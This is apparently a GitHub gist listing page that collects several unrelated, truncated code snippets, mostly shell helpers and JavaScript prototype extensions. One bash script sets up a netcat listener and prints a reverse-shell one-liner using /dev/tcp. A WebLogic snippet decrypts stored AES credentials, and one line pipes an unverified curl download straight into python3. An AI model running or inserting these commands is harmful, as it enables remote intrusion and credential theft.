gin runs scripts locally, directly from a gist.
๐ค
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
curl -ks https://gist.githubusercontent.com/nicerobot/1622504/raw/gist-backup.py | USER=${USER} python3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
java weblogic.WLST <<WLS | |
import weblogic.security.internal.SerializedSystemIni | |
import weblogic.security.internal.encryption.ClearOrEncryptedService | |
es=weblogic.security.internal.SerializedSystemIni.getEncryptionService(".") | |
ces=weblogic.security.internal.encryption.ClearOrEncryptedService(es) | |
ces.decrypt("{AES}9P7z/8D7ccvDWhBmqa0NEhR1b65BlFuBeVQ3WpwJHTI=") | |
ces.decrypt("{AES}Tlxc7yoE4BGQS2k5XBsMX/Kx4XgEBAcPqzXH7PP5zSI=") | |
WLS |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// NSArray+charactersFromString.h | |
// | |
// Created by nicerobot. | |
// Copyright 2012 Nice Robot Corporation. All rights reserved. | |
// | |
// This program is free software: you can redistribute it and/or modify | |
// it under the terms of the GNU General Public License as published by | |
// the Free Software Foundation, either version 3 of the License, or | |
// (at your option) any later version. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file is part of ___PROJECTNAME___. | |
___PROJECTNAME___ is free software: you can redistribute it and/or modify | |
it under the terms of the GNU General Public License as published by | |
the Free Software Foundation, either version 3 of the License, or | |
(at your option) any later version. | |
___PROJECTNAME___ is distributed in the hope that it will be useful, | |
but WITHOUT ANY WARRANTY; without even the implied warranty of | |
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
up() { cd $(for i in $(seq ${1:-1}); do cd ..; done >/dev/null 2>&1; pwd); } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mvn() { | |
# usage: mvn phase... -- [groupId [artifcatId [archetypeArtifactId]]] [-Dname=value]... | |
local mvn=$(which mvn) || return 1 | |
[ ${mvn:0:1} = '/' ] || return 2 | |
local phases=() | |
local rest=() | |
local order=(groupId artifactId archetypeArtifactId) | |
local n=-1 | |
local m=${#order[@]} | |
local add=phases |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Based on http://revision3.com/haktip/pushingcats | |
[ "${1}" ] || exit ${LINENO} | |
((PORT=RANDOM %2048 + 8192)) | |
IP=$(/sbin/ifconfig | sed -n -e '/eth0/,/inet addr:/p' | tail -1 | awk -F '[: ]+' '{print $4}') | |
[ "${IP}" ] || exit ${LINENNO} | |
screen nc -l -n -vv ${PORT} | |
REMOTE="/bin/bash -i > /dev/tcp/${IP}/${PORT} 0<&1 2>&1" | |
echo ${REMOTE} | |
# Of course, if you have ssh, why do you need this? :P |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (!Object.prototype.sizeof) { | |
Object.defineProperty(Object.prototype, 'sizeof', { | |
value: function() { | |
var counter = 0; | |
for (index in this) counter++; | |
return counter; | |
}, | |
enumerable: false | |
}); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
!Object.implement && Object.defineProperty(Object.prototype, 'implement', { | |
enumerable: false, | |
value: function(name, func) { | |
!this.prototype[name] && Object.defineProperty(this.prototype, name, { | |
enumerable: false, | |
value: func | |
}); | |
} | |
}); |